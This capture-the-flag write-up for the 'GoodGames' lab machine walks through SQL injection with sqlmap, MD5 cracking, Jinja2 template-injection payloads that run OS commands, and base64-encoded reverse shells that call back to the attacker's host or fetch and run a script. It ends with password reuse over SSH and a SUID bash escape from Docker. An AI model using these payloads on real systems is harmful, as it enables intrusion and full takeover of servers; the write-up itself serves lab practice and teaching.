Procedure

Context

GoodGames is an easy Linux machine that demonstrates several critical web and system security issues. It highlights how improper input sanitization can lead to SQL injection attacks, enabling database compromise and password extraction—especially when weak hashing algorithms and password reuse are involved. It also showcases the risk of using render_template_string in Python web applications, which can lead to Server-Side Template Injection (SSTI) when user input is reflected. Finally, the machine involves privilege escalation through Docker host enumeration, showing how having administrative access in a container combined with a low-privileged user on the host can allow attackers to gain full system control.

Initial Enumeration

We start by performing a quick scan of the target machine using Nmap to identify open ports and services. The -sC flag enables default scripts, while the -sV flag attempts to determine the version of the services running on the open ports. The scan reveals that port 80 is open and running an instance of Werkzeug, a lightweight web server built with Python.

$ nmap -sC -sV 10.10.11.130
          PORT    STATE   SERVICE     VERSION
          80/tcp  open      http             Werkzeug httpd 2.0.2 (Python 3.9.2)
          |_http-server-header: Werkzeug/2.0.2 Python/3.9.2
          |_http-title: GoodGames | Community and Store

HTTP

Upon accessing the web application, we are presented with a video game blog and store called GoodGames. The homepage includes a sign-in form, along with a sign-up button and a forgot password link. After navigating through the site, we observe that its functionality is limited: blog posts do not redirect anywhere, and the store section appears to be empty.

Returning to the login page, we find that the forgot password feature is non-functional. Therefore, we proceed to interact with the sign-in interface to explore potential attack vectors.

SQL Injection

In this case, we use Burp Suite to intercept and analyze a specific HTTP request that we suspect to be vulnerable to SQL injection. Burp allows us to capture and modify requests before they are sent to the server. Once we have the exact request of interest, we export it to a file for use with sqlmap.

After identifying a potentially vulnerable request (for example, a login form), we right-click on the request in the HTTP history tab and select "Save item" to store it as a plain text file (e.g., request.txt).

Then, we run sqlmap with the -r flag to specify the raw request file. This allows sqlmap to replay the exact HTTP request captured by Burp Suite and test for injection points.

$ sqlmap -r request.txt

To list available databases once a vulnerability is confirmed, we run the same command with the --dbs option.

$ sqlmap -r request.txt --dbs

We can continue with database enumeration, table listing, and data extraction by specifying the target database and table:

$ sqlmap -r request.txt -D {db_name} --tables
$ sqlmap -r request.txt -D {db_name} -T {table_name} --dump

In our case, after an extensive mapping process, we found a database called main with a table named user, which contains the following columns:

id: 1 
name: admin 
email: admin@goodgames.htb 
password: 2b22337f218b2d82dfc3b6f77e7cb8ec

Cracking

If we analyze the hash with the tools hashid or hash-identifier, we would see it is probably a MD5 hash. To break it, we can use hashcat with the -m 0 flag to specify the hash type (MD5) and the -a 0 flag to specify the attack mode (straight attack).

$ hashcat -m 0 -a 0 hashFile.txt /usr/share/wordlists/rockyou.txt 
$ hashcat -m 0 hashFile.txt --show
2b22337f218b2d82dfc3b6f77e7cb8ec:superadministrator

Now that we have the password for the admin user, we can log in to the web application. After logging in, we are presented with a simple dashboard. At the top-right corner, we see a settings icon. Clicking on it redirects us to a subdomain: http://internal-administration.goodgames.htb/. To access this subdomain, we need to add an entry to our DNS resolver. This can be done by editing the /etc/hosts file and adding the following line:

$ sudo nano /etc/hosts
# Add the following line to access the subdomain
$ 10.10.11.130    goodgames.htb  internal-administration.goodgames.htb

Upon visiting the subdomain, we are presented with a Flask Dashboard login page. We try logging in using the same credentials obtained from the main application, and they work successfully. Although not necessary in this case, if the credentials had failed, we could have used sqlmap to enumerate potential vulnerabilities or extract useful information from the backend as we did before.

SSTI

While navigating through the dashboard, we find the Settings page, where we can edit our user details. At this point, we try testing the input field for Server-Side Template Injection (SSTI). Before doing anything, we notice that the application is built with Flask, a Python web framework. Since Flask uses Jinja2 as its templating engine, we can try injecting some Jinja2 payloads, for example in the "Full Name" field.

$ {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} # As we can see it only change the interior of popen('')  
$ {{ self.__init__.__globals__.__builtins__.__import__('os').popen('hostname -i').read() }}
$ {{ self.__init__.__globals__.__builtins__.__import__('os').popen('pwd').read() }}

After testing the payloads, we confirmed that the application is vulnerable to SSTI. This vulnerability allows us to execute arbitrary commands on the server. In this case, our goal is to obtain a reverse shell. To exploit it, we can follow two main strategies:

- Option 1: Start an HTTP server on our local machine and inject a payload that downloads the reverse shell onto the target machine.

- Option 2: Upload the reverse shell directly to the target machine using the payload, while keeping a listener open on our local machine to catch the incoming connection.

Option 1

First, we start a simple HTTP server on our local machine using:

$ python3 -m http.server 80

On the other hand, we create the following script (called index.html) which will be downloaded by the target machine:

Warning: It’s easier if the script is named index.html, since anyone connecting to our server will open it by default. Otherwise, we’ll have to specify the full filename in the URL, like http://{YOUR_IP}/shell.sh instead of just http://{YOUR_IP}.

$ nano shell.sh
File: shell.sh
1   │ #!/bin/bash
3   │ bash -i >& /dev/tcp/{YOUR_IP}/{PORT_OF_YOUR_CHOICE} 0>&1

Now we can construct the payload to download the reverse shell from our HTTP server.

$ echo -ne "curl {YOUR_IP} | bash" | base64
Y3VybCAxMC4xMC4xNi41IHwgYmFzaA== 
Why do we need to encode our command in Base64 ?
Base64 is an encoding system that converts binary data (like text, images, or code) into a string made of only letters, numbers, +, /, and =. Security systems may block certain commands. Base64 masks the real payload to sneak past simple detection. Once base64 reaches the target system, it can be easily decoded with base64 -d.

Before the injection, we need to set up a listener on our local machine to catch the reverse shell connection. We can use netcat (nc) for this purpose. The command below sets up a listener on the specified port:

$ nc -lvnp 443

Finally, we can inject the payload into the "Full Name" field. The payload will be executed when the server processes the request, downloading and executing the reverse shell script on the target machine.

$ {{config.__class__.__init__.__globals__['os'].popen('echo${IFS}Y3VybCAxMC4xMC4xNi41IHwgYmFzaA==${IFS}|base64${IFS}-d|bash').read()}}
But how is this payload working ?
1. config.__class__.__init__.__globals__ : Access the global variables dictionary in Python.
2. ['os'] : From the globals dictionary, you retrieve the os module, which allows you to run system commands.
3. popen(...) : Runs a system command and returns its output.
4. 'echo${IFS}Y3VybCAxMC4xMC4xNi41IHwgYmFzaA==${IFS} | base64${IFS}-d | bash' : This is the actual system command being run. It's echoing a base64 encoded string, decoding it, and then executing it with bash. Let’s break it down further to understand it:
      4.1. ${IFS}: Internal Field Separator in Unix (used to represent a space without writing an actual space). This avoids breaking the string with space filters or sanitization.
      4.2. Y3VybCAxMC4xMC4xNi41IHwgYmFzaA==: This is the base64 encoded string of the command we want to run.
      4.3. |base64${IFS}-d|bash: This decodes the base64 string and pipes it to bash for execution.
5. .read() : Reads the output of the command executed by popen.

After the injection, we should see a connection on our listener.

$ nc -lvnp 443
    listening on [any] 443 ...
    connect to [10.10.16.5] from (UNKNOWN) [10.10.11.130] 54226
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
root@3a453ab39d3d:/backend#

We should find the user flag in the home directory of the user Augustus: /home/augustus

Option 2

In this case, we can upload the reverse shell directly to the target machine using the payload. This method is more straightforward and doesn't require setting up an HTTP server. We first set up a listener on our local machine to catch the reverse shell.

$ nc -lvnp 443

Now we can construct the payload to download the reverse shell from our HTTP server.

$ echo -ne "bash -i >& /dev/tcp/{YOUR_IP}/{PORT_OF_YOUR_CHOICE} 0>&1" | base64
    YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41LzQ0MyAwPiYx 
Why do we need to encode our command in Base64 ?
Base64 is an encoding system that converts binary data (like text, images, or code) into a string made of only letters, numbers, +, /, and =. Security systems may block certain commands. Base64 masks the real payload to sneak past simple detection. Once base64 reaches the target system, it can be easily decoded with base64 -d.
$ {{config.__class__.__init__.__globals__['os'].popen('echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41LzQ0MyAwPiYx${IFS}|base64${IFS}-d|bash').read()}}
But how is this payload working ?
1. config.__class__.__init__.__globals__ : Access the global variables dictionary in Python.
2. ['os'] : From the globals dictionary, you retrieve the os module, which allows you to run system commands.
3. popen(...) : Runs a system command and returns its output.
4. 'echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41LzQ0MyAwPiYx${IFS} | base64${IFS}-d | bash' : This is the actual system command 
      being run. It's echoing a base64 encoded string, decoding it, and then executing it with bash. Let’s break it down further to understand it:
      4.1. ${IFS}: Internal Field Separator in Unix (used to represent a space without writing an actual space). This avoids breaking the string with space 
               filters or sanitization.
      4.2. YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41LzQ0MyAwPiYx: This is the base64 encoded string of the command we want to run.
      4.3. base64${IFS}-d|bash': This decodes the base64 string and pipes it to bash for execution.
5. .read() : Reads the output of the command executed by popen.

After the injection we should see a connection on our listener.

$ nc -lvnp 443
    listening on [any] 443 ...
    connect to [10.10.16.5] from (UNKNOWN) [10.10.11.130] 54226
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
root@3a453ab39d3d:/backend#

We should find the user flag in the home directory of the user Augustus: /home/augustus

Privilege Escalation

As soon as we get a shell, we notice that we’re running as root inside a Docker container. To confirm this, we can run the id command, which shows the current user and group IDs. If we check our assigned IP address with the ip a command, we can also see that we are running inside a Docker container. This is because the eth0 interface is assigned the IP address 172.19.0.2, which is a private range typically used by Docker containers.

If we check the home directory of the user Augustus, we see that the user flag has ownership assigned to the group with GID 1000 and user root. But if we check the passwd file using the command grep "sh$" /etc/passwd, the only user that exists is root with UID 0.

So the user Augustus does not exist in the container, but does exist on the host machine. It seems the host machine's admin (presumably called Augustus) has mounted their local /home directory inside the container.

One of the first things we can do is check if there are any open ports. Since nmap is not installed, we can use the following script:

$ for p in $(seq 1 65535); do echo -ne "\r🔍 Scanning port $p..."; timeout 0.5 bash -c "echo > /dev/tcp/172.19.0.1/$p" 2>/dev/null && echo -e "\r🟢 Port $p is \e[32mOPEN\e[0m"; done
        
🟢 Port 22 is OPEN2...
🟢 Port 80 is OPEN0...
🔍 Scanning port 65535...

We can see that the port 22 is open, so we can try to SSH into the host machine. So we could reuse the password we found before superadministrator to try to SSH into the host machine.

$ script /dev/null bash
$ ssh augustus@172.19.0.1
   password: superadministrator

Now we are inside the host machine as the user Augustus. We can now attempt to gain root privileges. One strategy is to copy bash, assign it root ownership, and set the SUID bit. This way, any user executing the binary will do so as root. We can do this with the following commands:

 As Augustus in the host machine
$ cp /bin/bash .
 As root in the container
$ chown root:root bash
$ chmod 4755 bash

Finally, if we return back into augustus user via SSH and execute the bash we copied, as ./bash -p we should get a root shell and be able to read the root flag in the /root directory.

Glossary
  • SQL Injection: A web vulnerability that allows attackers to manipulate SQL queries, potentially gaining access to sensitive database information like usernames and passwords.
  • SSTI (Server-Side Template Injection): A vulnerability that occurs when user input is unsafely rendered in templates, allowing remote code execution on the server.
  • Docker Host Enumeration: The act of exploring the host system from inside a Docker container, often to identify ways to break out and escalate privileges.
  • sqlmap: An automated tool for detecting and exploiting SQL injection vulnerabilities in web applications.
  • Burp Suite: A web security tool that allows interception and manipulation of HTTP requests, commonly used for testing input validation and injection points.
  • Nmap: A network scanner used to discover open ports, services, and versions on a target machine. Flags like -sC and -sV enable script and version detection.
  • Hashcat: A password recovery tool used for cracking hashed passwords. Supports many hashing algorithms including MD5.
  • Base64 Encoding: A method for encoding binary data as ASCII characters. Often used to bypass input filters or encode payloads for safe transmission.
  • Netcat (nc): A networking utility used for reading and writing data across network connections. In this context, it is used to catch reverse shells.
  • SUID Bit: A special Unix file permission that allows a file to be executed with the privileges of its owner, often used in privilege escalation.
  • IFS (Internal Field Separator): A Unix shell variable used to define word boundaries. It can be manipulated in payloads to evade space filtering.
CONTACT